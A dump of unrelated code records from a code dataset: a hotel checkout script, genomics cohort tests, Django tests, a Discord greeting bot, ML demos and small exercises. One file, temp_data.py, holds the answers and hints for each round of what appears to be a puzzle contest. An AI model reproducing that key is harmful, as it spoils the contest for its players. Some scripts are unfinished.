ofile.write(line_out+'\\n')\n\nf.close()\nofile.close()","sub_path":"workspace/GeneFusion/20140625/script_3.py","file_name":"script_3.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"184222177","text":"# script to read and plot the fitness\n\nimport matplotlib.pyplot as plt\n\n## Import Data ##\nfitness = []\nwith open(\"../results/Fitness.txt\") as file:\n for line in file:\n line = line.strip() \n fitness.append(line)\n\nn_elements = len(fitness)\n\n## Plot ##\nfig1 = plt.figure()\nax1 = fig1.add_subplot(111)\nax1.plot(fitness, '-o')\n\nplt.title('Fitness evolution')\nax1.set_ylabel('fitness [-]')\nax1.set_xlabel('generation [-]')\nax1.legend(loc=4)\nfig1.patch.set_facecolor('white')\n\nplt.show()","sub_path":"python/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"215059954","text":"from folderfinder import findfolder\r\nimport json\r\nimport os\r\nimport roomtemplates\r\nimport os\r\ndef checkout(personname):\r\n\r\n hotelfolder = findfolder()\r\n\r\n with open(hotelfolder+'\\\\'+'custdata.json','r') as f:\r\n customersdata = json.loads(f.read())\r\n f.close()\r\n if customersdata[personname] == \"\":\r\n return\r\n custdata = customersdata[personname]\r\n\r\n\r\n roomnumber = custdata['stayingin']\r\n\r\n\r\n with open(hotelfolder + \"\\\\\" + 'roomfile.json', \"r\") as f:\r\n room = 'room ' + str(roomnumber)\r\n rooms = json.loads(f.read())\r\n roomdata = rooms[room]\r\n f.close()\r\n typeroom = roomdata['roomtype']\r\n with open(hotelfolder+'\\\\'+'roomfile.json', 'w') as f:\r\n if typeroom == 'normal':\r\n rooms[room] = roomtemplates.jsonroomtemp1\r\n roomtype = 1\r\n elif typeroom == 'suite':\r\n rooms[room] = roomtemplates.jsonroomtemp2\r\n roomtype = 2\r\n else:\r\n rooms[room] = roomtemplates.jsonroomtemp3\r\n roomtype = 3\r\n json.dump(rooms, f, indent=4)\r\n f.close()\r\n with open(hotelfolder+'\\\\'+'hoteldata.json','r') as f:\r\n hoteldata = json.loads(f.read())\r\n f.close()\r\n with open(hotelfolder+'\\\\'+'hoteldata.json','w') as f:\r\n if roomtype == 1:\r\n hoteldata['normalroomsavb'] = hoteldata['normalroomsavb'] + 1\r\n elif roomtype == 2:\r\n hoteldata['suitesavb'] = hoteldata['suitesavb'] + 1\r\n else:\r\n hoteldata['luxurysuitesavb'] = hoteldata['luxurysuitesavb'] + 1\r\n json.dump(hoteldata, f)\r\n f.close()\r\n del customersdata[personname]\r\n with open(hotelfolder+'\\\\'+'custdata.json','w') as f:\r\n json.dump(customersdata, f, indent=4)\r\n f.close()\r\n\r\n","sub_path":"checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"382477232","text":"addglobals = lambda x: globals().update(x)\n\nfrom utils import Vec2, frange\n\nclass Building(object):\n def __init__(self, w, h, pos, height, color):\n self.w = w\n self.h = h\n self.pos = pos\n self.height = height\n self.color = color\n self.s = Vec2(0, 0)\n\nclass Buildings(object):\n def __init__(self, config):\n self.config = config\n self.cell_size = self.config.cell_size\n\n def update(self, x, y, cell, cam, cells, blobs):\n building = cell.building\n if building:\n cellp = Vec2(\n cam.pos.x%self.cell_size-x*self.cell_size,\n cam.pos.y%self.cell_size-y*self.cell_size\n )\n building.s = building.pos.sub(cellp.add(self.config.perspective_offset))\n\n s1=max(building.w,building.h)\n s2=min(building.w,building.h)\n for i in frange(-s1+s2/2,s1-s2/2,s2):\n p1 = Vec2((cells.pos.x+x)*self.cell_size, (cells.pos.y+y)*self.cell_size).add(building.pos)\n if s1 == building.w:\n p1.x += i\n else:\n p1.y += i\n blobs.add_blob(\n p1,\n s2\n )\n\n p2 = Vec2((cells.pos.x+x)*self.cell_size, (cells.pos.y+y)*self.cell_size).add(building.pos)\n if s1 == building.w:\n p2.x += s1-s2/2\n else:\n p2.y += s1-s2/2\n\n if p2.dist(p1) > 2:\n blobs.add_blob(\n p2,\n s2\n )\n\n def draw(self, a, b, cell, cam, shadow):\n building = cell.building\n if building:\n camera(\n cam.c.x-a*self.cell_size,\n cam.c.y-b*self.cell_size\n )\n\n if shadow:\n for i in frange(0,building.height/2,4):\n t = Vec2(building.s.x,building.s.y)\n t._mul(i*0.015)\n t._add(building.pos)\n\n rectfill(t.x-building.w, t.y-building.h, t.x+building.w, t.y+building.h, 5)\n else:\n for i in frange(building.height/2,building.height-1,4):\n t = Vec2(building.s.x,building.s.y)\n t._mul(i*0.015)\n t._add(building.pos)\n\n rectfill(t.x-building.w, t.y-building.h, t.x+building.w, t.y+building.h, 5)\n\n s = building.s.mul(building.height*0.015)\n s._add(building.pos)\n rectfill(s.x-building.w, s.y-building.h, s.x+building.w, s.y+building.h, building.color)\n","sub_path":"games/BR/buildings.py","file_name":"buildings.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"468256789","text":"# Copyright (c) 2016. Mount Sinai School of Medicine\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nfrom . import data_path, generated_data_path, DATA_DIR\nfrom .data_generate import generate_vcfs\n\nfrom cohorts import Cohort\nfrom cohorts.count import *\n\nimport pandas as pd\nfrom nose.tools import raises, eq_\nfrom os import path\nfrom shutil import rmtree\n\nfrom .test_basic import make_simple_clinical_dataframe\n\ndef file_format_func_1(sample_id, normal_bam_id, tumor_bam_id):\n return \"sample_format1_%d.vcf\" % sample_id\n\ndef file_format_func_2(sample_id, normal_bam_id, tumor_bam_id):\n return \"sample_format2_%d.vcf\" % sample_id\n\ndef file_format_func_3(sample_id, normal_bam_id, tumor_bam_id):\n return \"sample_format3_%d.vcf\" % sample_id\n\ndef test_snv_counts():\n \"\"\"\n Generate VCFs per-sample, and confirm that the counting functions work as expected.\n \"\"\"\n clinical_dataframe = make_simple_clinical_dataframe()\n sample_ids = list(clinical_dataframe[\"id\"])\n vcf_dir, cohort = None, None\n try:\n vcf_dir = generate_vcfs(dict(zip(sample_ids, [4, 3, 6])),\n file_format_func_1, template_name=\"vcf_template_1.vcf\")\n cohort = Cohort(\n data_dir=vcf_dir,\n cache_dir=generated_data_path(\"cache\"),\n sample_ids=sample_ids,\n clinical_dataframe=make_simple_clinical_dataframe(),\n clinical_dataframe_id_col=\"id\",\n os_col=\"OS\",\n pfs_col=\"PFS\",\n deceased_col=\"deceased\",\n progressed_or_deceased_col=\"progressed_or_deceased\",\n snv_file_format_funcs=[file_format_func_1])\n\n # The SNV count should be exactly what we generated\n count_col, df = snv_count(cohort)\n eq_(len(df), 3)\n eq_(list(df[count_col]), [4, 3, 6])\n\n count_col, df = missense_snv_count(cohort)\n eq_(len(df), 3)\n eq_(list(df[count_col]), [3, 2, 4])\n finally:\n if path.exists(vcf_dir):\n rmtree(vcf_dir)\n if cohort is not None:\n cohort.clear_caches()\n\ndef make_cohort(file_format_funcs):\n clinical_dataframe = make_simple_clinical_dataframe()\n sample_ids = list(clinical_dataframe[\"id\"])\n vcf_dir = generate_vcfs(dict(zip(sample_ids, [3, 3, 6])),\n file_format_func_1, template_name=\"vcf_template_1.vcf\")\n generate_vcfs(dict(zip(sample_ids, [4, 1, 5])),\n file_format_func_2, template_name=\"vcf_template_1.vcf\")\n generate_vcfs(dict(zip(sample_ids, [5, 2, 3])),\n file_format_func_3, template_name=\"vcf_template_2.vcf\")\n\n return (vcf_dir, Cohort(\n data_dir=vcf_dir,\n cache_dir=generated_data_path(\"cache\"),\n sample_ids=sample_ids,\n clinical_dataframe=make_simple_clinical_dataframe(),\n clinical_dataframe_id_col=\"id\",\n os_col=\"OS\",\n pfs_col=\"PFS\",\n deceased_col=\"deceased\",\n progressed_or_deceased_col=\"progressed_or_deceased\",\n snv_file_format_funcs=file_format_funcs))\n\ndef test_merge_three():\n \"\"\"\n Generate three VCFs per-sample and confirm that merging works as expected.\n \"\"\"\n vcf_dir, cohort = None, None\n try:\n # Use all three VCF sources\n vcf_dir, cohort = make_cohort([file_format_func_1, file_format_func_2, file_format_func_3])\n\n # [3, 3, 6] and [4, 1, 5] use the same template, resulting in a union of [4, 3, 6] unique variants\n # [5, 2, 3] uses a separate template, resulting in a union of [4, 3, 6] + [5, 2, 3] = [9, 5, 9] unique variants\n count_col, df = snv_count(cohort)\n eq_(len(df), 3)\n eq_(list(df[count_col]), [9, 5, 9])\n\n # For intersection, variants need to appear in *all*, here. None of them do.\n count_col, df = snv_count(cohort, merge_type=\"intersection\")\n eq_(list(df[count_col]), [0, 0, 0])\n finally:\n if path.exists(vcf_dir):\n rmtree(vcf_dir)\n if cohort is not None:\n cohort.clear_caches()\n\ndef test_merge_two():\n \"\"\"\n Generate two VCFs per-sample and confirm that merging works as expected.\n \"\"\"\n vcf_dir, cohort = None, None\n try:\n # Now, with only two VCF sources\n vcf_dir, cohort = make_cohort([file_format_func_1, file_format_func_2])\n\n # [3, 3, 6] and [4, 1, 5] use the same template, resulting in a union of [4, 3, 6] unique variants\n count_col, df = snv_count(cohort)\n eq_(len(df), 3)\n eq_(list(df[count_col]), [4, 3, 6])\n\n # For intersection, some variants do appear in both.\n count_col, df = snv_count(cohort, merge_type=\"intersection\")\n eq_(len(df), 3)\n eq_(list(df[count_col]), [3, 1, 5])\n finally:\n if path.exists(vcf_dir):\n rmtree(vcf_dir)\n if cohort is not None:\n cohort.clear_caches()\n","sub_path":"test/test_count.py","file_name":"test_count.py","file_ext":"py","file_size_in_byte":5380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"272732135","text":"import datetime\nfrom django.core.exceptions import ValidationError\nfrom django.test import TestCase\nfrom photos.models import Gallery, Photo\n\n\nclass GalleryTestCase(TestCase):\n def setUp(self):\n \"\"\"Set up galleries\"\"\"\n Gallery.objects.create(title=\"Gallery Test\",\n date=datetime.datetime(2015, 1, 1),\n slug=\"gallery-test\",\n pk=1)\n Gallery.objects.create(title=\"Gallery Without Date\",\n date=None,\n slug=\"gallery-without-date\",\n pk=2)\n\n def test_galleries_are_created(self):\n \"\"\"Galleries are correctly created\"\"\"\n gallery = Gallery.objects.get(title=\"Gallery Test\")\n gallery_without_date = Gallery.objects.get(title=\"Gallery Without Date\")\n\n self.assertEqual(gallery.title, 'Gallery Test')\n self.assertEqual(gallery.date, datetime.date(2015, 1, 1))\n self.assertEqual(gallery.pk, 1)\n self.assertEqual(gallery.slug, 'gallery-test')\n self.assertEqual(gallery_without_date.date, None)\n\n\nclass PhotoTestCase(TestCase):\n def test_model_relation(self):\n \"\"\"Photo correctly created\"\"\"\n photo = Photo(gallery=Gallery.objects.create(title=\"test1\"))\n photo.full_clean()\n photo.save()\n\n self.assertEqual(Photo.objects.filter(gallery__title=\"test1\").count(), 1)\n\n def test_model_relation_title_missing(self):\n \"\"\"Photo without relation returns missing\"\"\"\n photo = Photo()\n with self.assertRaises(ValidationError):\n photo.full_clean()\n photo.save()\n\n self.assertEqual(Photo.objects.filter(gallery__title=\"test1\").count(), 0)\n","sub_path":"my_site/photos/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"592322071","text":"import argparse\nimport json\nfrom src.model.RNN import RNN\nimport os\nfrom src.preprocess.nlp import top_k_word_frequencies, tokenize, normalize\nfrom src.preprocess.Vocab import Vocab\n\n# parse single json object at a time\ndef parse_file(file):\n for line in file:\n yield json.loads(line)\n\n\ndef train(rnn, encoder):\n rnn.train(encoder)\n\n\ndef run(rnn, seed):\n pass\n\n\ndef profile(rnn):\n pass\n\n\ndef gen_vocab(size, vocab_file='example-vocab.txt'):\n corpus = \"\"\n for f in os.listdir('train-example-data'):\n data = parse_file(f)\n for obj in data:\n corpus += obj['text']\n top_k = top_k_word_frequencies(corpus, size)\n\n with open(vocab_file, 'w') as f:\n for word in top_k:\n f.write(word)\n f.write(\"\")\n f.write(\"\")\n f.write(\"\")\n\n\ndef read_vocab_file(vocab_file='example-vocab-10000.txt'):\n vocab = {}\n with open(vocab_file, 'r') as f:\n for line in f:\n vocab += line\n return vocab\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Train or run RNN using example Wikipedia data.\")\n parser.add_argument('--train', action='store_true', dest='train',\n help='train on example datasets')\n parser.add_argument('--run', action='store_false', dest='train',\n help='generate article text, requires trained model')\n parser.add_argument('--profile', action='store_true', dest='profile',\n help='profile training/running RNN model save results to file')\n parser.add_argument('--vocabsize', dest='vocab_size',\n help='specify vocabulary size (default 10000 tokens), only applies when training')\n parser.add_argument('--seed', dest='seed',\n help='seed the rnn input for sequence generation')\n parser.set_defaults(train=True, profile=False, vocab_size=10000, seed=42)\n\n args = parser.parse_args()\n\n rnn = RNN(args.vocab_size, [100, 100]) # vocab size of 10000, 2 hidden layers of size 100\n if args.train:\n # Step 1: Vocab generation\n print(\"Generating vocabulary of \" + str(args.vocab_size) + \" unique tokens.\")\n vocab = {}\n if args.vocab_size == 10000:\n vocab = read_vocab_file()\n else:\n vocab = read_vocab_file('example-vocab-' + str(args.vocab_size) + '.txt')\n\n # Step 2: NLP processing of corpus\n training_set = \"\"\n for f in os.listdir('train-example-data'):\n data = parse_file(f)\n for obj in data:\n training_set += obj['text']\n tokens = tokenize(training_set)\n normal = normalize(tokens)\n\n # Step 3: Encoding and RNN training\n encoder = Vocab(vocab)\n print(\"Beginning training on example dataset\")\n train(rnn, encoder.encode(normal))\n\n else:\n run(rnn, args.seed)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"example/wiki-train.py","file_name":"wiki-train.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195137758","text":"import random\r\nimport loadbalance\r\n__metaclass__ = type\r\n\r\nclass Rondom:\r\n def init(self, *candidates):\r\n self.candidates = candidates;\r\n self.limits = [];\r\n self.total = 0;\r\n for cand in candidates:\r\n self.total += cand.weight\r\n self.limits.append((self.total, cand));\r\n \r\n def select(self):\r\n rand = random.randint(1, self.total);\r\n for cand in self.limits:\r\n if rand <= cand[0]:\r\n return cand[1];\r\n \r\nif __name__ == '__main__': loadbalance.test(Rondom()); ","sub_path":"loadbalance/randoms.py","file_name":"randoms.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"521921289","text":"import discord\nfrom discord.ext import commands\nimport asyncio\nfrom itertools import cycle\n\nimport requests\nimport random\nfrom random import randint\n\nclass Timers(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n #self.client.loop.create_task(self.dailyHello())\n\n @commands.Cog.listener()\n async def dailyHello(self):\n await self.client.wait_until_ready()\n\n guild = self.client.get_guild(257751892241809408)\n channel = guild.get_channel(298245133038649345)\n members = guild.members\n\n #await channel.send('Ready!')\n\n msgs = ['We hope you\\'re having a great day, and remember that we\\'re always here for you when you\\'re struggling.']\n imgs = ['https://media0.giphy.com/media/DcKEISp6FJSqQ/giphy.gif',\n 'https://i.imgur.com/KzPnrV0.gif',\n 'https://media2.giphy.com/media/xT9DPsQBUcmdKjuzE4/source.gif',\n 'https://33.media.tumblr.com/a8c6c5ba1dacbf28c75c0e8662003c48/tumblr_o0d18kutFc1qc4uvwo1_r1_500.gif',\n 'https://media1.tenor.com/images/950a1416557b942ba1d81e427a621319/tenor.gif?itemid=12275825',\n 'https://i.gifer.com/DW0A.gif',\n 'https://media0.giphy.com/media/xUPGcICvRWCEltacNi/source.gif',\n 'https://media.giphy.com/media/26xBSxisb1xYv1dja/giphy.gif',\n 'https://i.pinimg.com/originals/60/08/20/600820c302000e35b171af5f99a7a71d.gif',\n 'https://66.media.tumblr.com/a1525366551f825189cc452999f5ecb8/tumblr_nz4n2v3cBe1sffmwho1_500.gif']\n\n #member = cycle(members)\n #member = random.choice(members)\n\n while True:\n member = random.choice(members)\n\n while (member.bot):\n member = random.choice(members)\n\n await channel.send('__**Hello, <@' + str(member.id) + '>!**__\\nYou\\'re today\\'s chosen one! Just a little reminder that you\\'re amazing.')\n\n embed = discord.Embed(\n title = random.choice(msgs),\n color = discord.Color.magenta()\n )\n embed.set_image(url = random.choice(imgs))\n await channel.send(embed = embed)\n\n members = guild.members\n await asyncio.sleep(86400)\n\n\ndef setup(client):\n #client.loop.create_task(dailyHello())\n client.add_cog(Timers(client))\n","sub_path":"cogs/timers.py","file_name":"timers.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"242730977","text":"# -*- coding:utf-8 -*-\n## tab=space4\nimport os\n## \"潜T:0=>20 ||person:1=>14 ||ship:2=>3 ||直升J:3=>21 ||gun:4=>22\"\\\n## \"tank:5=>23 ||战斗J:6=>24 ||航M:7=>25 ||J20:8=>26 ||J15:9=>27\"\\\n## \"J10:10=>28 ||预J:11=>29 ||客机:12=>0 ||加油J:13=>30 ||B2:14=>31\"\\\n## \"F-A:15=>32 ||F16:16=>33 ||F22:17=>34 ||F35:18=>35 ||s35:19=>36\"\\\nclass_num = [20,14,3,21,22,23,24,25,26,27,28,29,0,30,31,32,33,34,35,36,-1]\nwrite_file = open(\"labels.txt\",'a+',encoding = 'utf-8')\ndef main(labes_txt_path):\n ## \n txt_names = os.listdir(labes_txt_path)\n for txt_name in txt_names:\n ## 文件夹路径+txt文件名\n txt_path_plus_name = labes_txt_path+txt_name\n print(txt_path_plus_name)\n with open(txt_path_plus_name) as input_txt:\n write_labels = \"\"\n while True:\n txt_data = next(input_txt,\"gg\").strip()\n if txt_data == \"\":\n continue## 空行继续\n if txt_data == \"gg\":\n break## 结束\n ## 数据处理\n data_list = txt_data.split(\" \") \n ## box x_min y_min x_max y_max + id clsaa+ old info\n if class_num[int(data_list[4])]==-1:continue\n write_labels = write_labels+\" \"+\" \".join(data_list[0:4])+\" \"+str(class_num[int(data_list[4])])\n ## txt 文本为空 跳过\n if write_labels == \"\":\n print(txt_name)\n continue \n ## 写入数据\n write_labels = \"./raccoon_dataset/images/\"+txt_name.split(\".txt\")[0]+\".jpg\"+write_labels+\"\\r\\n\"\n write_file.write(write_labels)\n \n #break\n write_file.close()\n \nif __name__ == \"__main__\":\n main(\"./data2CETC_labels/\")\n\n\n\n\n\n","sub_path":"labels_2_homing.py","file_name":"labels_2_homing.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"481271713","text":"# -*- coding: utf-8 -*-\n# import HTMLParser\n\nimport html\nimport json\nimport time\nfrom lxml import etree\n\nfrom bs4 import BeautifulSoup\n\nfrom lxml.html import tostring\nfrom base.redis import RedisClient\nfrom extern_modules.base_module import BaseModule\nfrom unit.clear_html import ClearHtml\nimport pandas as pd\nimport config\n\n\n# import crawler.contrib.transcode as TC\n\n\nclass Modules(BaseModule):\n def __init__(self, name, redis_client):\n super(Modules, self).__init__(name, redis_client)\n\n def _exec_sql(self, sql):\n session = self.dest_session()\n session.execute(sql)\n session.commit()\n session.close()\n\n def _parser_description(self, data):\n data = data.replace('

', '')\n data = data.replace('

', '')\n soup = BeautifulSoup(self._face_format(data))\n string_list = []\n content = ''\n for string in soup.stripped_strings:\n string_list.append(string)\n content += string\n node = self._build_dictionary(string_list)\n return node, content\n\n def parser_news_detail(self, data):\n # self.deal_source_url(data['url'])\n body = data['body'] # 原始数据压缩\n id = data['reserved']['id']\n # dest, name, _ = TC.html_transcode(body)\n body_key = ' \" + str(number/3))\n divCount = (number, evenCount, odd)\n #print(divCount)\n return(int(number), divCount)\n\n\n\ndef DivisionDecompiler(num, seed):\n None\ndef SubtractionCompiler(number):\n count = 0\n square = []\n power = {}\n \n while number > 255:\n if 255**2 < number < 255**255:\n powr = 2\n buffer = 255\n while buffer <= number:\n print(buffer)\n buffer = buffer**powr\n powr += 1\n powr = powr - 2\n number = number - 255**powr\n square.append(powr)\n \n #print(\"power \" + str(number) + \"<>\" + str(powr))\n\n else:\n #print(\"count \" + str(number) + \"<>\" + str(count))\n number = number - 255\n\n \n seed = (number, count, power, ppower)\n return seed\ndef main():\n number = input(\"Number to be compressed ->\")\n uniqueodds()\n print(SubtractionCompiler(13498173498137120943849029483713241234))\n #print(divisionCompiler(17101408))\n if int(55555) == 555.0:\n print(\"True\")\n else:\n print(\"False\")\nmain()\n","sub_path":"Compiler.py","file_name":"Compiler.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"448280401","text":"key1 = 26\nkey2 = 21\nkey3 = 12# NOT USED\nkey4 = 54\nkey5 = 76\nkey6 = 43\nkey7 = 23\nkey8 = 54\nkey9 = 46\n\n\n\nans_round1 = \"NotHiNG00\"\nans_round2 = ['2','5','2','4','6','9']\nans_round3 = \"answer\" #bonus round\nans_round4 = ['UAE','Oman','Qatar','Kuwait','Bahrain','Saudi Arabia']\nans_round5 = ['A','E','H','D','E','O','T','A','S']\nans_round6 = \"o julius caesar, thou art mighty yet\"\nans_round7 = \"zaibatsu\"\nans_round8 = \"i am you\"\nans_round9 = \"love\"\n\n\n #hints\n\n \n#rond1 \nr1_hint1=\"A Hint is hidden right side of the IMAGE\"\nr1_hint2=\"What You see is part of bigger picture\"\nr1_hint3=\"Downlaod image\"\n\n\n#rond2 \nr2_hint1=\"The Lock is an electronic device and the person is an Eletrical engineer\"\nr2_hint2=\"Big Boys Race Our Young Girls But Violet Generally Wins\"\nr2_hint3=\"bb roy of great britain very good wife\"\n\n#rond3 \nr3_hint1=\"Write a hint here31\" #not used\nr3_hint2=\"Write a hint here32\"#not used\nr3_hint3=\"Write a hint here33\"#not used\n\n#rond4 \nr4_hint1=\"Quick Links\"\nr4_hint2=\"Gulf\"\nr4_hint3=\"Name the country!!\"\n\n#rond5 \nr5_hint1=\"Write a hint here51\"#not used\nr5_hint2=\"Write a hint here52\"#not used\nr5_hint3=\"Write a hint here53\"#not used\n\n#rond6 \nr6_hint1=\"Aulus Gellius, Attic Nights 17.9.1–5\"\nr6_hint2=\"There is even a rather ingeniously written treatise by the grammarian Probus concerning the secret meaning of letters in the composition of Caesar's epistles\"\nr6_hint3=\"Decode with Caesar cipher\"\n\n#rond7 \nr7_hint1=\"Download the zip file\"\nr7_hint2=\"Unlock with \\'darkness\\'\"\nr7_hint3=\"Page:Line:Letter\" \n\n#rond8 \nr8_hint1=\"John's full name is John Karlin!\"\nr8_hint2=\"i love you 3310\"\nr8_hint3=\"He used the Handset to type\"\n\n#round9\nr9_hint1=\"Anything that can go wrong will go wrong\"\nr9_hint2=\"Quantifiable Connection\"\nr9_hint3=\"Decrypt the morse code\"\n\n \n\n\n\n","sub_path":"temp_data.py","file_name":"temp_data.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"635310880","text":"\"\"\"\nGiven an array where elements are sorted in ascending order, convert it to a height balanced BST.\nSource: https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/#/description\n\"\"\"\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n#DO NOT CHANGE THIS CLASS\nclass Solution(object):\n def sortedArrayToBST(self, nums):\n \t#YOUR CODE GOES HERE\n \t##\n \"\"\"\n :type nums: List[int]\n :rtype: TreeNode\n \"\"\"\n # Take median element in list\n mid_idx = len(nums) // 2 # integer divide\n\n # Create node for root of tree\n if not nums:\n return None\n\n # Define the root node\n root = TreeNode(nums[mid_idx])\n\n # Recursively build tree with smaller elements to left, larger to right\n root.left = self.sortedArrayToBST(nums[:mid_idx])\n root.right = self.sortedArrayToBST(nums[mid_idx+1:])\n\n return root\n\n#------------------------------------------------------------------------------ \n# Test code\n#------------------------------------------------------------------------------\n# arr = [0, 1, 2, 3, 4, 5]\n# S = Solution()\n# root = S.sortedArrayToBST(arr)\n","sub_path":"problem_6/Fellow Codes Go Here/Bernard_Roesler.py","file_name":"Bernard_Roesler.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"405461089","text":"import json\n\n\nclass Kontakt:\n def __init__(self, imie, nazwisko, telefon=None, adresy=(), data_urodzenia=None):\n self.imie = imie\n self.nazwisko = nazwisko\n self.telefon = telefon\n self.adresy = adresy\n self.data_urodzenia = data_urodzenia\n\nclass Adres:\n def __init__(self, ulica=None, miasto=None, stan=None, kod=None, panstwo=None):\n self.ulica = ulica\n self.miasto = miasto\n self.kod = kod\n self.stan = stan\n self.panstwo = panstwo\n\n\nksiazka_adresowa = [\n Kontakt(imie='Matt', nazwisko='Kowalski', adresy=[\n Adres(ulica='2101 E NASA Pkwy', miasto='Houston', stan='Texas', kod='77058', panstwo='USA'),\n Adres(ulica=None, miasto='Kennedy Space Center', kod='32899', panstwo='USA'),\n Adres(ulica='4800 Oak Grove Dr', miasto='Pasadena', kod='91109', panstwo='USA'),\n Adres(ulica='2825 E Ave P', miasto='Palmdale', stan='California', kod='93550', panstwo='USA'),\n ]),\n Kontakt(imie='José', nazwisko='Jiménez'),\n Kontakt(imie='Иван', nazwisko='Иванович', adresy=[]),\n]\n\n\nclass JSONObjectEncoder(json.JSONEncoder):\n def default(self, obj):\n try:\n return super().default(obj)\n except TypeError:\n return obj.__dict__\n\n\nclass JSONObjectDecoder(json.JSONDecoder):\n def __init__(self):\n json.JSONDecoder.__init__(self, object_hook=self.decode_object)\n\n def decode_object(self, dictionary):\n if dictionary.get('miasto'):\n return Adres(**dictionary)\n else:\n return Kontakt(**dictionary)\n","sub_path":"serialization-json/src/json-decoder-object.py","file_name":"json-decoder-object.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"355803770","text":"from maskrcnn_benchmark.config import cfg\nfrom predictor import COCODemo\nimport cv2 as cv\nimport numpy as np\n\nconfig_file = \"../configs/e2e_mask_rcnn_R_101_FPN_1x.yaml\"\n\n# update the config options with the config file\ncfg.merge_from_file(config_file)\n# manual override some options\ncfg.merge_from_list([\"MODEL.DEVICE\", \"cuda\"])\n\ncoco_demo = COCODemo(\n cfg,\n min_image_size=800,\n confidence_threshold=0.7,\n)\n\n\n# load video and then run prediction\ncam = cv.VideoCapture(\"video_0067.mp4\")\ncodec = cv.VideoWriter_fourcc(*\"MJPG\")\nout = cv.VideoWriter(\"output.avi\", codec, 30.0, (int(cam.get(3)), int(cam.get(4))))\ni = 0\nwhile True:\n ret, img = cam.read()\n if not ret:\n break\n predictions = coco_demo.run_on_opencv_image(img)\n# cv.imwrite(\"./video/\" + str(i) + \".png\", predictions)\n i += 1\n if i == 10:\n break\n out.write(predictions)\ncam.release()\nout.release()\n","sub_path":"demo/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"236400229","text":"import json\nimport pymysql\nimport datetime\nimport zipfile\nimport urllib.request\nimport os\nfrom urllib.error import HTTPError\nimport logging\ncurrentyear = datetime.datetime.strftime(datetime.date.today(), \"%Y\")\n# print(int(currentyear))\nrange_month = ('01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12')\nyears_temp = int(currentyear)\nwhile True:\n if years_temp >= 2016:\n for month in range_month:\n per = 0\n down_count = 10\n while down_count:\n try:\n period = datetime.timedelta(days=per)\n lastdate = datetime.date.today() - period\n format_date = datetime.datetime.strftime(lastdate, \"%Y%m%d\")\n url_contract = 'https://clearspending.ru/download/opendata/contracts_44fz_' + str(years_temp) + str(month) + '-' + format_date + '.json.zip'\n print(url_contract)\n archive = 'contracts_44fz_' + str(years_temp) + str(month) + '-' + format_date + '.json.zip'\n urllib.request.urlretrieve(url_contract, archive)\n break\n except HTTPError as httperr:\n # print(httperr)\n per += 1\n down_count -= 1\n # print(down_count)\n if down_count == 0:\n continue\n\n # z = zipfile.ZipFile(archive, 'r')\n # z.extractall()\n # z.close()\n file_name = 'contracts_44fz_' + str(years_temp) + str(month) + '-' + format_date + '.json'\n print(file_name)\n # os.remove(archive)\n # os.remove(file_name)\n\n years_temp -= 1\n print(years_temp)\n else:\n break\n\n\n\n\n\n\n","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"91799704","text":"# chapter 2. Perceptron\n#\n# runnable \n# %run \n\nclass perceptron(object):\n\n\tdef __init__(self):\n\t\tprint('perceptron is created')\n\n\tdef AND(self, x1, x2):\n\t\tw1, w2, theta = 0.5, 0.5, 0.7\n\t\ttmp = x1*w1 + x2*w2 \n\t\tif tmp <= theta:\n\t\t\treturn 0\n\t\telif tmp > theta:\n\t\t\treturn 1\n\nif __name__ == \"__main__\":\n\n\ta = 